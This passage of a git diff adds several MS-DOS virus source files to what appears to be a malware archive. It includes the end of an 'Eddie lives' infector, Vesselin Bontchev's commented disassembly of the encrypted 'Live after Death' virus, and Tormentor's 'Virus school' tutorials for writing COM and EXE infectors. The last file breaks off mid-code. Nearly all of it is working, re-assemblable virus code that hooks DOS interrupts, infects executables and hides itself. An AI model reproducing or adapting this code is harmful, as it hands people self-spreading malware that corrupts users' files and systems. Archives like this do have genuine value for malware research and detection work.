cs:[bx+027Ch],ax ; offs INT 13h + mov ax,es:[86h] ; seg INT 13h + mov cs:[bx+027Eh],ax ; seg INT 13h + mov ax,0A55Ah + int 21h ; + cmp ax,5AA5h + je loc_3 ; . + mov ax,sp + inc ax + mov cl,4 + shr ax,cl ; Shift w/zeros fill + inc ax + mov cx,ss + add ax,cx + mov cx,ds + dec cx ; + mov es,cx + mov di,2 + mov dx,2Bh + mov cx,[di] ; CX + sub cx,dx ; CX , DX + cmp cx,ax ; + jb loc_3 ; + sub es:[di+1],dx ; + mov [di],cx ; + mov es,cx + mov si,bx + sub di,di + mov cx,140h + cld ; + rep movs word ptr es:[di],word ptr cs:[si] + mov ax,es ; AX:=ES + mov es,cx ; ES:=0 + cli + mov word ptr es:[84],0A7h ; INT 21h + mov es:[86],ax + sti +loc_3: + push ds + pop es + mov ax,cs:[bx+0288h] ; + cmp ax,5A4Dh ; EXE ? + je loc_4 + cmp ax,4D5Ah ; EXE ? + je loc_4 + mov di,100h ; COM + mov [di],ax + mov al,byte ptr [bx+28Ah] ; 3 + mov [di+2],al + pop ax + push di + retn ; +loc_4: + pop ax + mov dx,ds + add dx,10h ; + add word ptr cs:[bx+0282h],dx ; + add dx,cs:[bx+0286h] ; + mov ss,dx ; SS + mov sp,cs:[bx+0284h] ; SP + jmp dword ptr cs:[bx+0280h] ; + +;----------------------------------------------------------------------------- + + sti ; INT 21h + cmp ax,4B00h ; Exec read & exec + je loc_10 + cmp ah,11h ; FindFirst FCB + je loc_5 + cmp ah,12h ; FindNext FCB + je loc_5 + cmp ax,0A55Ah + je loc_9 ; Jump if equal + jmp loc_28 ; (0C44) +loc_5: + pushf ; Push flags + call dword ptr cs:data_4 ; (6FC2:027C=0) + test al,al ; + jnz loc_ret_8 ; ! + push ax + push bx ; AX,BX,ES + push es + mov bx,dx + mov al,[bx] + push ax + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + pop ax + inc al + jnz loc_6 ; Jump if not zero + add bx,7 +loc_6: + mov ax,es:[bx+17h] + and al,1Fh ; + cmp al,1Fh + jne loc_7 + and byte ptr es:[bx+17h],0E0h + sub word ptr es:[bx+1Dh],28Bh ; + sbb word ptr es:[bx+1Fh],0 +loc_7: + pop es + pop bx ; + pop ax + +loc_ret_8: + iret ; Interrupt return +loc_9: + not ax ; A55A + iret ; Interrupt return +loc_10: + push ds + push es + push ax ; INT 24h + push bx + push cx + push dx + push si + push di + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + push es + push bx + push ds + push dx ; INT 24h + push cs + pop ds + mov dx,25Eh + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop dx + pop ds + mov ax,4300h ; + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + jnc loc_11 ; Jump if carry=0 + sub cx,cx + jmp loc_26 ; +loc_11: + push cx + test cl,1 + jz loc_12 ; read-only + dec cx + mov ax,4301h ; + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_12: + mov ax,3D02h ; + int 21h + + push cs + pop ds + jnc loc_13 ; Jump if carry=0 + jmp loc_25 ; (0C2A) +loc_13: + mov bx,ax + mov ax,5700h ; + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + jc loc_14 ; Jump if carry Set + mov al,cl + or cl,1Fh ; + cmp al,cl + jne loc_15 ; Jump if not equal +loc_14: + jmp loc_24 ; (0C26) +loc_15: + push cx + push dx + mov dx,288h + mov cx,18h + mov ah,3Fh ; EXE + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + jc loc_16 ; Jump if carry Set + sub cx,ax + jnz loc_16 ; Jump if not zero + les ax,data_17 ; SS SP + mov data_8,es ; (6FC2:0284=0) => SS + mov data_9,ax ; (6FC2:0286=0) => SP + les ax,data_19 ; CS IP + mov word ptr data_6,ax ; (6FC2:0280=0) => IP + mov word ptr data_6+2,es ; (6FC2:0282=0) => CS + mov dx,cx + mov ax,4202h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + jc loc_16 ; Jump if carry Set + mov data_21,ax ; (6FC2:02A0=0) + mov data_22,dx ; (6FC2:02A2=0) + mov cx,28Bh + cmp ax,cx + sbb dx,0 + jc loc_16 ; Jump if carry Set + call sub_2 ; EXE + jz loc_17 ; Jump if zero + cmp ax,0FB75h ; + jb loc_17 ; Jump if below +loc_16: + jmp loc_22 ; (0C1C) +loc_17: + sub dx,dx + mov ah,40h ; + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + jc loc_16 ; Jump if carry Set + sub cx,ax + jnz loc_16 ; Jump if not zero + mov dx,cx + mov ax,4200h ; FP + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + jc loc_16 ; Jump if carry Set + mov ax,data_21 ; (6FC2:02A0=0) + call sub_2 ; EXE + jnz loc_20 ; Jump if not zero + mov dx,data_22 ; (6FC2:02A2=0) + mov cx,4 + mov si,data_14 ; (6FC2:0290=0) + sub di,di + +locloop_18: + shl si,1 ; Shift w/zeros fill + rcl di,1 ; Rotate thru carry + loop locloop_18 ; Loop if cx > 0 + + sub ax,si + sbb dx,di + mov cl,0Ch + shl dx,cl ; Shift w/zeros fill + mov word ptr data_19,ax ; (6FC2:029C=0) + mov word ptr data_19+2,dx ; (6FC2:029E=0) + add dx,31h + nop ; + mov word ptr data_17+2,ax ; (6FC2:0298=0) + mov word ptr data_17,dx ; (6FC2:0296=0) + add data_15,9 ; (6FC2:0292=0) + mov ax,data_15 ; (6FC2:0292=0) + cmp ax,data_16 ; (6FC2:0294=0) + jb loc_19 ; Jump if below + mov data_16,ax ; (6FC2:0294=0) +loc_19: + mov ax,word ptr ds:[28Ah] ; (6FC2:028A=0) + add ax,28Bh + push ax + and ah,1 + mov word ptr ds:[28Ah],ax ; (6FC2:028A=0) + pop ax + mov cl,9 + shr ax,cl ; Shift w/zeros fill + add data_13,ax ; (6FC2:028C=0) + jmp short loc_21 ; (0C0C) +loc_20: + sub ax,3 + mov byte ptr data_10,0E9h ; (6FC2:0288=0) + mov word ptr data_10+1,ax ; (6FC2:0289=0) +loc_21: + mov dx,288h + mov cx,18h + mov ah,40h ; + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + jc loc_22 ; Jump if carry Set + cmp ax,cx + je loc_23 ; Jump if equal +loc_22: + stc ; Set carry flag +loc_23: + pop dx + pop cx + jc loc_24 ; + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time +loc_24: + mov ah,3Eh ; + int 21h +loc_25: + pop cx +loc_26: + test cl,1 + jz loc_27 ; Jump if zero + mov ax,4301h ; + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_27: + pop dx + pop ds + mov ax,2524h + int 21h ; INT 24h + pop di + pop si + pop dx + pop cx ; + pop bx + pop ax + pop es + pop ds +loc_28: + jmp dword ptr cs:data_4 ; (6FC2:027C=0) + mov al,3 + iret ; Interrupt return +sub_1 endp + + +; +; SUBROUTINE +; + +sub_2 proc near ; EXE + mov si,data_10 ; (6FC2:0288=0) + cmp si,5A4Dh + je loc_ret_29 ; Jump if equal + cmp si,4D5Ah + +loc_ret_29: + retn +sub_2 endp + + db 'Eddie lives' +otmestwania db 0, 60h, 14h, 8Eh, 2, 0 + db 7 dup (0) +First_inst: db 0CDh, 20h, 0 + +seg_a ends + + + + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.v800.asm b/MSDOS/Virus.MSDOS.Unknown.v800.asm new file mode 100644 index 00000000..80594bfd --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v800.asm @@ -0,0 +1,622 @@ + page ,132 + name V800 + title The 'Live after Death' virus + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", ap. 51 +; Telephone: Private: (+35-92) 58-62-61, Office: (+35-92) 71-401 ext. 255 +; +; The 'Live after Death' Virus +; Disassembled by Vesselin Bontchev, May 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +timer equ 46C +v_len = v_end-v_entry + +start: + jmp v_entry ; JMP to the virus code + + db 900d dup (90) ; The beginning of the infected program + +v_entry: ; The virus body begins here + cli ; Disable interrupts + xchg ax,bp ; Save AX + + call self ; Point SI at the start of the encrypted part +self: + pop si ; Get current address + add si,19 ; (v_start-self) Length of the decryption part + + cld ; Clear direction flag + mov di,si ; Point DI at v_start too + xor dx,dx ; DX := 0 (the checksum is formed there) + mov cx,(v_end-v_start)/2 ; The length of the encrypted part + push cx ; Save it on stack +do_chksum: ; Compute the checksum of the encrypted part + lodsw ; Get word + xor dx,ax ; ChkSum ^= Word + loop do_chksum ; Loop until done + pop cx ; Restore length (in words) in CX + +; Decrypt the encrypted part. XOR every word of it with the computed checksum. + +decrypt: + xor [di],dx ; XOR a word + inc di ; Point to the next one + inc di + loop decrypt ; Loop until done + +; The code beyond this point was encrypted. If this source is +; assembled now, it won't run, since the decryption part will +; scramble it. To produce a 'live' virus, the following code +; must be encrypted "manually" (i.e., with another program) +; after assembly. + +v_start: + +; Adjust SI to point at v_entry (it currently points at v_end): + + add si,v_entry-v_end + + mov bx,sp ; Install a new stack at the + mov cl,4 ; program's end - just to be sure + shr bx,cl ; that the original one won't + inc bx ; corrupt the virus + mov ax,ss + add bx,ax + + mov cx,v_len/2 ; CX := virus length in words + mov di,4 + mov ax,[di-2] ; Get TopMem segment (_psp [2]) + + dec dx ; Subtract 1 from the checksum + + push ds ; Save DS & checksum on the stack + push dx + + mov dx,ds ; DX := DS + + mov ds,di ; Check if INT 2Ah is intercepted by a + cmp ax,[di+(2A*4+2-(4*10+4))] ; program at TopMem + je in_mem ; Virus present in memory if so + +; Virus not in memory. Install it there: + + sub ah,2 ; Reserve 8 K memory (?!) + cmp bx,ax ; Enough memory? + jae no_mem ; Exit if not + dec di ; Point DI at TopMem + dec di + stosw ; Lower TopMem by 8 K + + dec dx ; Point ES at program's MCB + mov es,dx + sub byte ptr es:[di],2 ; Lower MCB's size by 8 K too + +; Install the new INT 2Ah handler. This interrupt (funcrion 82h) is +; called by PC-DOS on every file-related function. Thus, the virus +; gets control without even intercepting INT 21h! + + mov [di+(2A*4+2-(4*10+4))],ax ; Segment +in_mem: + mov word ptr [di+(2A*4-(4*10+4))],int_2A-v_entry ; Offset + + push ax + les bx,[di+(13*4-(4*10+4))] ; Get the current INT 13h handler + mov ah,13 ; Get the original INT 13h handler + int 2F ; (DOS 3.30 only) + mov cs:[si+do_it_i+1-v_entry],bx ; Save the found vector as a + mov cs:[si+do_it_i+1+2-v_entry],es ; Far JMP in the virus body + mov ah,13 ; Restore the internal (DOS) INT 13h handler + int 2F + + mov ax,es ; Get INT 13h handler's segment in AX + + push cs ; DS := CS + pop ds + +; Compare the segment of the found INT 13h handler with the +; one, stored as a Far JMP. If they match, this means that +; the virus is already present in memory (i.e., loaded for +; a multiple infected file). + + les bx,[si+do_it_i+1-v_entry] + cmp ax,[si+do_it_i+1+2-v_entry] ; Virus already in memory? + pop ds ; Restore DS + pushf ; Save the result of the comparision on stack + + push ds ; Save DS + mov dx,int_13i-v_entry ; Install new internal INT 13h handler + mov ah,13 ; Do it + int 2F + pop es ; ES := saved DS + + xor di,di ; DI := 0 + + push si ; Save SI & CX + push cx + +; Move the virus body in the allocated segment at TopMem: + + rep movs word ptr es:[di],word ptr cs:[si] + + push es ; ES := DS + pop ds + + mov [di+0A],cl ; Zero old_op + + pop cx ; Restore CX & SI + pop si + + pop [di+8] ; flags (i.e. - virus installed) + pop [di+6] ; chksum-1 + +no_mem: + pop es ; Clear the stack + sti ; Enable interrupts + + push cs ; DS := CS + pop ds + + mov di,offset start-2 ; DI := 0FEh + push di ; Push this value in the stack + mov ax,0A5F3 ; Store REP MOVSW there + stosw + push si ; Save SI + add si,first3-v_entry ; Point SI at the saved first 3 bytes + movsw ; Restore the original first 3 + movsb ; bytes of the file + pop di ; DI := saved SI + lodsw ; Get the offset at which the file was split + xchg ax,si ; Put it in SI + add si,offset start ; Adjust it with the PSP length + xchg ax,bp ; Restore AX (to keep DISKCOPY happy) + +; On the top of stack now there is 0FEh. Therefore, the RET instruction +; will transfer the control to the program at this address. And at this +; address there is the REP MOVSW instruction (put there by the virus). +; Therefore, it will restore the second part of the file (split by the +; virus) and will begin to execute it from the beginning (the first 3 +; bytes are already restored). + + ret + +; Infection routine: + +infect: + push cx ; Save registers used + push dx + push si + push di + push ds + push es + + xor cx,cx ; DS := AX := 0; CX = function + xchg ax,cx + mov ds,ax + + push cs ; ES := CS + pop es + + mov di,do_it+1-v_entry ; Install new INT 13h handler + mov si,13*4 + mov ax,int_13-v_entry ; New handler's offset + xchg ax,[si] + stosw ; Save the old one as a Far JMP + push ax ; Save it on the stack too + + mov ax,es ; Do the same with the handler's segment + xchg ax,[si+2] + stosw + push ax + + mov ax,int_24-v_entry ; Install new INT 24h handler + xchg ax,[si+24*4-13*4] + push ax ; Save the old one on the stack + + mov ax,es ; Do the same with the handler's segment + xchg ax,[si+24*4-13*4+2] + push ax + + push ds ; Save DS & SI (0 and 13*4 respectively) + push si + + xor dl,dl ; Turn Ctrl-Break checking off + mov ax,3302 ; and get the old checking state + int 21 + push dx ; Save state on stack + + mov ax,1220 ; Get system file table number in ES:DI + int 2F ; Do it + jc inf_xit ; Exit on error + + push bx ; Save BX + mov bl,es:[di] ; Put system file table number in BL + mov ax,1216 ; Get address of system FCB in ES:DI + int 2F ; Do it + pop bx ; Restore BX + jc inf_xit ; Exit on error + + mov si,ds:[timer] ; Load SI with a random value + + push es ; DS := ES + pop ds + + mov cl,80 ; Prepare to test if it's a disk file + + cmp ch,3E ; Close file operation requested? + jne dont_dup ; Don't duplicate handle if so + mov ah,45 ; Otherwise do it + int 21 + jc inf_xit ; Exit on error + xchg ax,bx ; Save handle in BX + +; Prepare to test for disk file and wheather file has been written: + + mov cl,0C0 + +dont_dup: + and cl,[di+5] ; Test the Device Info Word + jnz inf_xit ; Exit if test fails + + xor dx,dx ; DX := 0 + + cmp dx,[di+13] ; Is file size > 64 K? + jne inf_xit ; Exit if so + mov ax,[di+28] ; Get the first 2 bytes of the file extension + cmp ax,'XE' ; .EXE-file? + je chk_last ; Go check the last letter too + cmp ax,'OC' ; Maybe it's a .COM-file? + jne chk_exec ; If not, try to infect it only on execution + cmp ax,[di+20] ; Is this the file "COMM*.CO*"? + mov ax,'MM' + jne chk_last ; If not, check wheather it really has + cmp ax,[di+22] ; a .COM extension + je inf_xit ; Otherwise exit +chk_last: + cmp al,[di+2A] ; Check the last letter of file's extension + je chk_len ; Check the file size if name does match +chk_exec: + cmp ch,4Bh ; Exec function requested? + jne inf_xit ; Exit if not + +; Check if file length fits in the infectable intervals. +; The infectable intervals are: +; 1024 - 8191 ( 0400h - 1FFFh) +; 9216 - 16383 ( 2400h - 3FFFh) +; 17408 - 24575 ( 4400h - 5FFFh) +; 25600 - 32767 ( 6400h - 7FFFh) +; 33762 - 40959 ( 8400h - 9FFFh) +; 41984 - 49151 (0A400h - 0BFFFh) +; 50176 - 57343 (0C400h - 0DFFFh) +; 58368 - 64511 (0E400h - 0FBFFh) + +chk_len: + test byte ptr [di+12],00011100b + jz inf_xit ; Exit if not in an infectable interval + cmp byte ptr [di+12],11111100b + jb len_ok + +inf_xit: ; File not suitable for infection + jmp close ; Close it and exit + +len_ok: + mov ax,[di+11] ; Get file size (from the internal FCB) + xchg ax,si ; Put it in SI (the random value is now in AX) + xchg al,ah ; "Randomize" it a bit more + push si ; Save SI (pointed at file end) + +; Compute in DX the random position at which the file will be split: + + sub si,3 + div si ; DX := ((f_size - 3) mod rand ()) + 3 + add dx,3 + + lds si,[di+7] ; Get Device Control Block info + cmp byte ptr [si+8],2 ; Is the number of FATs >= 2? (?!) + pop si ; Restore SI (to point at file end) + jb inf_xit ; Exit if not (only 1 FAT, that is) + mov byte ptr es:[di+2],10b ; Set file open mode to writable + xor ax,ax + xchg ax,es:[di+15] ; Get file position in AX and seek to file beg. + push ax ; Save original position on stack + + push cs ; DS := CS + pop ds + + push dx ; Save computed split position on stack + + mov dx,first3-v_entry + mov cx,3 ; Read the first 3 bytes of the file + mov ah,3F ; and save them in the virus body + int 21 ; Do it + + pop ax ; Restore split position from stack + + jc xit1 ; Exit on error + mov es:[di+15],ax ; Seek at split position + sub ax,3 ; Form a JMP instruction to that position + mov ds:[jmp_adr-v_entry],ax ; at jmp_op + + mov ax,ds:[first3-v_entry] ; Get the first 2 bytes of the file + cmp ax,'ZM' ; Is it an .EXE-type file? + je xit2 ; Exit if so + cmp ax,'MZ' ; Double check for .EXE-files + je xit2 ; Exit if such file + + mov dx,buffer-v_entry + mov cx,v_len ; Read the original (up to v_len) + mov ah,3F ; bytes into the buffer + int 21 ; Do it +xit1: + jc xit2 ; Exit on error + +; Get the number of bytes read in CX and put the virus length in AX: + + xchg ax,cx + +; SI points at file end. Add the virus length to get the new file size: + + add si,ax + +; Now subtract the number of bytes read in, just to compute +; the offset from the beginning of the file, at which the +; second part of the splitted file has to be written: + + sub si,cx + + mov es:[di+15],si ; Seek at the computed offset + mov ah,40 ; Write the original second part of the file + int 21 ; Do it + jc xit2 ; Exit on error + sub ax,cx ; All bytes written? + jnz xit2 ; Exit on error + + xchg ax,si ; SI := 0; AX := split position + mov ds:[split-v_entry],ax ; Save split position in the virus body + mov ax,ds:[jmp_adr-v_entry] ; Get the computed new JMP address + add ax,3 + mov es:[di+15],ax ; And seek to that address in the file + + push dx ; Save DX (currently points at the buffer area) + xor dx,dx ; DX := 0 (the checsum is formed there) + mov cx,v_len/2 ; Virus length in words + +; Compute the new checksum of the virus and use it to encrypt the virus: + +encrypt: + lodsw ; Get a word from the virus body + db 81, 0FE, 20, 0 ; I was unable to make MASM generate this (?!) +; cmp si,v_start-self+1 + jb no_crypt ; Don't encrypt the decryption part + xor ax,ds:[chksum-v_entry] ; Compute the checksum + xor dx,ax +no_crypt: + mov word ptr [si+(data_1-v_entry)],ax ; Encrypt with it + loop encrypt ; Loop until done + + xor dx,ds:[chksum-v_entry] ; Save the checksum + xor [si+2F3],dx ; (?!) + pop dx ; Restore DX (to point to the buffer area) + + mov cx,v_len ; Write the virus body in the file + mov ah,40 + int 21 ; Do it + jc xit2 ; Exit on error + sub ax,cx ; All bytes written? + jnz xit2 ; Exit on error + + mov es:[di+15],ax ; Seek to file beginning (AX == 0 now) + + mov dx,jmp_op-v_entry + mov cx,3 ; Overwrite the first 3 bytes of the file + mov ah,40 ; with a JMP to the virus code + int 21 ; Do it + +xit2: + pop word ptr es:[di+15] ; Restore file position + or byte ptr es:[di+6],40 ; Set 'File Modified' bit + +close: + mov ah,3E ; Close the file + int 21 + + pop dx ; Restore Ctrl-Break state from stack + mov ax,3301 ; Set old Ctrl-Break state + int 21 + + pop si ; Restore SI & DS (13*4 and 0 respectively) + pop ds + + pop word ptr [si+24*4+2-13*4] ; Restore the old + pop word ptr [si+24*4-13*4] ; INT 24h handler + pop word ptr [si+2] ; Restore the old INT 13 handler + pop word ptr [si] + + pop es ; Restore used registers + pop ds + pop di + pop si + pop dx + pop cx + ret ; Done. Exit + +; New INT 2Ah, subfunction 82h handler. DOS calls +; this function on every file-related operation. + +int_2A: + push si ; Save registers used + push di + push bp + push ds + push es + + mov bp,sp + cmp ah,82 ; Function 82h? + jne int2A_xit ; Exit if not + mov ax,ds ; Is the current DS equal to caller's CS? + cmp ax,[bp+0C] + jne int2A_xit ; Exit if not + + mov si,[bp+0A] ; Get the byte at caller's CS:IP + lodsb + cmp al,0CC ; Is it an INT3 instruction? + je int2A_xit ; Exit if so + + mov ax,1218 ; Get caller's registers + int 2F + les di,[si+12] ; CS:IP, more exactly + cmp byte ptr es:[di],0CC ; Is there an INT3 instruction? + je int2A_xit ; Exit if so + + mov ax,cs ; Called from the current segment + cmp ax,[si+14] ; (i.e., from the virus)? + je int2A_xit ; Exit if so + + cmp word ptr es:[di-2],21CDh ; Called from INT 21h? + jne int2A_xit ; Exit if not + + push cs ; ES := CS + pop es + + mov di,v_len ; Point ES:DI at virus length + lodsw ; Get caller's AX + mov bp,ax ; Save it in BP + sub ah,3Dh ; Open file handle function requested? + je ok4inf ; OK for infection if so + dec ah ; Close file function requested? + je ok4inf ; OK for infection if so + sub ah,0Dh ; Exec function requested? + jne int2A_xit ; Exit if not + cmp al,2 ; Subfunctions 0 or 1? + jae int2A_xit ; Exit if not + +; Now AH == 0. Check to see if count (ES:[DI-3E]) is zero too. +; If it's not, that would mean that this file handle belongs +; to an already infected by the virus file. + +ok4inf: + cmp ah,es:[di-3E] ; Is count equal to zero? + mov cs:[di-3E],ah ; Zero count + jne int2A_xit ; Exit if not + mov bl,0C2 ; Othewise scramble BX (?!) + +; Get the caller's CS:IP and save them as a Far JMP (just at v_end). +; Also, modify them to point at the program at loc_1. In this way, +; when the INT 2Ah handler terminates, the program at loc_1 will +; receive control. It will (eventually) infect the file and then +; perform a Far JMP to the place, where INT 2Ah was called. + + mov ax,loc_1-v_entry ; Offset + xchg ax,[si+10] ; Shouldn't it be [si+14]? (?!) + dec ax + dec ax + stosw + mov ax,cs ; Segment + xchg ax,[si+12] + stosw + + xchg ax,bp ; Restore AX from BP + stosw ; And save it in old_ax + +int2A_xit: + pop es ; Restore used registers + pop ds + pop bp + pop di + pop si + +; New INT 24h handler. Just terminate; AH +; already contains the suggested action. + +int_24: + iret ; End of INT 2Ah and INT 24h handlers + +int_13i: ; New internal INT 13h handler + cmp byte ptr cs:[old_op-v_entry],0 ; Iterrupt called from virus? + je do_it_i ; If not, just perform it "as is" + xor ah,ah ; Else zero the old_op flag and call the + xchg ah,byte ptr cs:[old_op-v_entry] ; interrupt with the true value +do_it_i: + db 0EA, 71, 0A9, 0, 0F0 ; Far JMP to old intern INT 13h handler + +int_13: ; New INT 13h handler + mov byte ptr cs:[old_op-v_entry],ah + cmp ah,4 ; VERIFY operation specified? + je verify ; Return OK without performing it + cmp ah,3 ; WRITE operation requested? + jne do_it ; Just execute the old handler if not + push cs:[flags-v_entry] + popf ; What was the flags state? + jz do_it_i ; Execute operation if flags OK + dec ah ; Otherwise fake a READ operation +do_it: + db 0EA, 1F, 1Dh, 70, 0 ; Far JMP to old INT 13h handler +verify: + sub ax,ax ; Return 'No errors' (AX == 0 && CF == 0) + sti ; Enable interrupts + retf 2 ; Done. Exit + +count db 1 ; Counter how many times the file is infected +first3 db 0E9, 0F8, 3 ; The first 3 bytes of the file +split dw 6A7 ; Address at which the file was split + dw 46BC ; (?!) +jmp_op db 0E9 ; Here a JMP to the virus code is formed +jmp_adr dw 384 ; The addres at which is JMPed + + db 0, 'Live after Death', 0 + +loc_1: + pushf ; Save Flags + cli ; Disable interrupts + push bx ; Save BX + cld ; Clear direction flag + inc byte ptr cs:[count-v_entry] ; Increment infection counter + cmp ah,3E ; CLOSE function call? + je do_inf ; Just infect file if so + xchg ax,bx ; Otherwise get handle in BX + mov ax,3D00 ; Open the file for Reading only + int 21 + jc dont_inf ; Don't infect if an error occured + xchg ax,bx ; Get handle in BX +do_inf: + call infect ; Infect the file +dont_inf: + mov ax,cs:[old_ax-v_entry] ; Restore caller's AX + pop bx ; Restore BX + popf ; Restore Flags + +; Here is formed a Far JMP to the program, which called INT 2Ah, function 82h: + + db 0EA + +v_end equ $ ; End of virus code +old_ax equ v_end+4 ; Place to store caller's AX +chksum equ old_ax+2 ; Here a checksum is formed for encryption +flags equ chksum+2 ; Flag +data_1 equ flags+1 ; (?!) +old_op equ data_1+1 ; The last INT 13h operation +buffer equ old_op+1 ; Program I/O buffer + + db 116d dup (90) ; The second part of the infected program + + mov ax,4C00 ; Exit program + int 21 + +code ends + end start + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.v_les1.asm b/MSDOS/Virus.MSDOS.Unknown.v_les1.asm new file mode 100644 index 00000000..0cd988f8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v_les1.asm @@ -0,0 +1,158 @@ +; +; Virus school, lession 1 (c) 1992 Tormentor [Demoralized Youth] +; +; This is the first lession on how to make an own virus. +; Hope you'll learn something of it... +; To be compiled with TASM 3.0 or higher. +; +; This virus is quite dumb and 'noisy' +; It updates the filedate and time, changes DTA before execution causing +; some progs to belive they are executed with parameters... +; But this should only be a 'raw' virus that you can develop. +; Certain program may hang, so i recommend you not to spread to geeks +; since there is MANY better viruses to use for such nice purpose. +; +; If you want to conntact me or other virus-writers call me on my board: +; Swedish Virus Laboratory +46-3191-9393 +; +; Greetings to All virus-writers! +; + + + .model tiny + .radix 16 + .code + +Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus. + + org 100 + +dummy_code: db 'M' ; Mark file as infected. + db 3 DUP(90) ; This is to simulate a infected prog. + ; Not included in virus-code. + +Virus_Start: call where_we_are ; Now we call the next bytes, just to + ; know what address virus lies on. +where_we_are: pop si ; Since the virus-code's address will + ; differ from victim to victim. + ; a POP SI after a call will give us the + ; address which equals to 'where_we_are' + ; Very important. + +;----------------------------------------------------------------------- +; Now we have to put back the original 4 bytes in the host program, so +; we can return control to it later: + + add si,_4first_bytes-where_we_are + mov di,100 + cld + movsw + movsw + +;------------------------------------------------------------------------ + +; We have to use SI as a reference since files differ in size thus making +; virus to be located at different addresses. + + sub si,_4first_bytes-Virus_Start+4 + +;------------------------------------------------------------------------ +; Now we just have to find victims, we will look for ALL .COM files in +; the current directory. + + mov ah,4e ; We start to look for a *.COM file +look4victim: mov dx,offset file_match-Virus_Start + add dx,si + int 21 + + jc no_victim_found ; If no *.COM files was found. + + mov ax,3d02 ; Now we open the file. + mov dx,9e ; The found victims name is at ds:009e + int 21 ; in DTA. + + jc cant_open_file ; If file couldn't be open. + + xchg ax,bx ; Save filehandle in bx +; (we could use MOV BX,AX but we saves one byte by using xchg ) + + mov ah,3f ; Now we read the first 4 bytes + mov cx,4 ; from the victim -> buffer + + mov dx,offset _4first_bytes-Virus_Start + add dx,si + ; We will then overwrite them with + int 21 ; a JMP XXXX to virus-code at end. + + jc read_error + + cmp byte ptr ds:[si+_4first_bytes-Virus_Start],'M' + jz sick_or_EXE ; Check if infected OR *.EXE +; Almost all EXE files starts with 'M' and we mark the infected files by +; starting with 'M' which equals to DEC BP +; Now we just have to have one check instead of 2 (infected and *.EXE) + + mov ax,4202 ; Position file-pointer to point at + xor cx,cx ; End-of-File. + xor dx,dx ; Any writing to file will now APPEND it + int 21 ; Returns AX -> at end. + + sub ax,4 ; Just for the JMP structure. + + mov word ptr ds:[_4new_bytes+2],ax + ; Build new JMP XXXX to virus. + ; ( logic: JMP AX ) + + mov ah,40 ; Append file with virus code. + mov cx,offset Virus_Lenght + ; File-size will increase with + mov dx,si ; Virus_Lenght. + int 21 + + jc write_error + + mov ax,4200 ; Position file-pointer to begin of file + xor cx,cx ; So we can change the first 3 bytes + xor dx,dx ; to JMP to virus. + int 21 + + mov ah,40 ; Write new 3 bytes. + mov cx,4 ; After this, executing the file will + mov dx,offset _4new_bytes-Virus_Start + add dx,si + ; result in virus-code executing before + int 21 ; original code. + ; (And more files will be infected) + + jc write_error + + mov ah,3e ; Close file, now file is infected. + int 21 ; Dos function 3E (close handle) + +Sick_or_EXE: mov ah,4f ; Well, file is infected. Now let's + jmp look4victim ; find another victim... + +write_error: ; Here you can test whats went wrong. +read_error: ; This is just for debugging purpose. +cant_open_file: ; These entries are equal to eachother +no_victim_found: ; but could be changed if you need to test something. + + mov ax,100 ; Every thing is put back in memory, + push ax ; lets us RET back to start of program + ret ; and execute the original program. + +notes db ' (c) 1992 Tormentor ,Swedish Virus Laboratory' + db ' / Demoralized Youth / ' + +file_match db '*.COM',0 ; Pattern to search for. + ; Don't forget to end with 0 ! + +_4first_bytes: ret ; Here we save the 4 first org. bytes + db 3 DUP(0) +; We have a ret here since this file isn't a REAL infection. + +_4new_bytes db 'M',0E9, 00, 00 ; Here we build the 4 new org. bytes + ; so our virus-code will be run first. +Virus_End EQU $ + + end dummy_code diff --git a/MSDOS/Virus.MSDOS.Unknown.v_les2.asm b/MSDOS/Virus.MSDOS.Unknown.v_les2.asm new file mode 100644 index 00000000..1040c1f6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v_les2.asm @@ -0,0 +1,160 @@ +; +; Virus Lession #2 'How to make a non-resident EXE infector' +; +; (c) 1992 Tormentor // Demoralized Youth +; +; Well, I had not time to comment this code as much as I wanted to, +; but here you are. +; What can be hard to understand is the .EXE header changes, but if +; you look at the description on the header (ex: Norton guide Tech. Ref) +; you'll understand... +; Anyway, feel free to use this example and if you have any questions +; or anything call my board: Swedish Virus Labratory +46-3191-9393 +; +; Greetings to all virus-writers! +; +; /Tormentor +; + + + + .model tiny + .radix 16 + .code + +Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus. + + org 100 + +Virus_Start: call where_we_are + +where_we_are: pop si + + sub si,where_we_are-Virus_Start + + mov ax,es + add ax,10 + add ax,cs:[si+Exe_header-Virus_Start+16] + push ax + push cs:[si+Exe_header-Virus_Start+14] + + push ds + push cs + pop ds + + mov ah,1a + mov dx,offset Own_dta-Virus_Start + add dx,si + int 21 + + mov ah,4e ; We start to look for a *.EXE file +look4victim: mov dx,offset file_match-Virus_Start + add dx,si + int 21 + + jnc cont2 + jmp no_victim_found ; If no *.EXE files was found. + +cont2: mov ax,3d02 + mov dx,Own_dta-Virus_Start+1e + add dx,si + int 21 + + jnc 